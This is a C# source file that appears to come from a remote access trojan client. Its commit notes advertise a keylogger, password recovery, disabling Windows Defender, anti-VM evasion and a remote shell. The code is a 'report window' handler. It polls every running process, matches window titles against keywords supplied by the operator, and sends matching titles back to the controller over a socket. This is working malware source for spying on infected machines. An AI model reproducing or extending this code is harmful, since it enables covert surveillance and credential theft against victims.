-Added report window -Added save keylogger -Added save remote desktop images -Added PC options -Updated password recovery -Updated ProcessCritical -Updated UI to remote shell -Updated disable defender -Updated anti VM -Updated client ID method -Fixed chat -Fixed send to memory -Specail thanks to @MrDevBot and @Thoxy67
75 lines
2.5 KiB
C#
75 lines
2.5 KiB
C#
using Client.MessagePack;
|
|
using Client.Sockets;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Diagnostics;
|
|
using System.Linq;
|
|
using System.Text;
|
|
using System.Threading;
|
|
|
|
namespace Client.Handle_Packet
|
|
{
|
|
class HandleReportWindow
|
|
{
|
|
private List<string> title;
|
|
|
|
public HandleReportWindow(MsgPack unpack_msgpack)
|
|
{
|
|
switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
|
{
|
|
|
|
case "run":
|
|
{
|
|
try
|
|
{
|
|
Initialize(unpack_msgpack);
|
|
int count = 30;
|
|
while (!Packet.ctsReportWindow.IsCancellationRequested)
|
|
{
|
|
foreach (Process window in Process.GetProcesses())
|
|
{
|
|
if (string.IsNullOrEmpty(window.MainWindowTitle))
|
|
continue;
|
|
if (title.Any(window.MainWindowTitle.ToLower().Contains) && count > 30)
|
|
{
|
|
count = 0;
|
|
SendReport(window.MainWindowTitle.ToLower());
|
|
}
|
|
}
|
|
count++;
|
|
Thread.Sleep(1000);
|
|
}
|
|
}
|
|
catch { break; }
|
|
break;
|
|
}
|
|
|
|
case "stop":
|
|
{
|
|
Packet.ctsReportWindow?.Cancel();
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
private void Initialize(MsgPack unpack_msgpack)
|
|
{
|
|
Packet.ctsReportWindow?.Cancel();
|
|
Packet.ctsReportWindow = new CancellationTokenSource();
|
|
title = new List<string>();
|
|
foreach (string s in unpack_msgpack.ForcePathObject("Title").AsString.ToLower().Split(new[] { "," }, StringSplitOptions.None))
|
|
title.Add(s.Trim());
|
|
}
|
|
|
|
private void SendReport(string window)
|
|
{
|
|
Debug.WriteLine(window);
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "reportWindow";
|
|
msgpack.ForcePathObject("Report").AsString = window;
|
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
|
}
|
|
|
|
}
|
|
}
|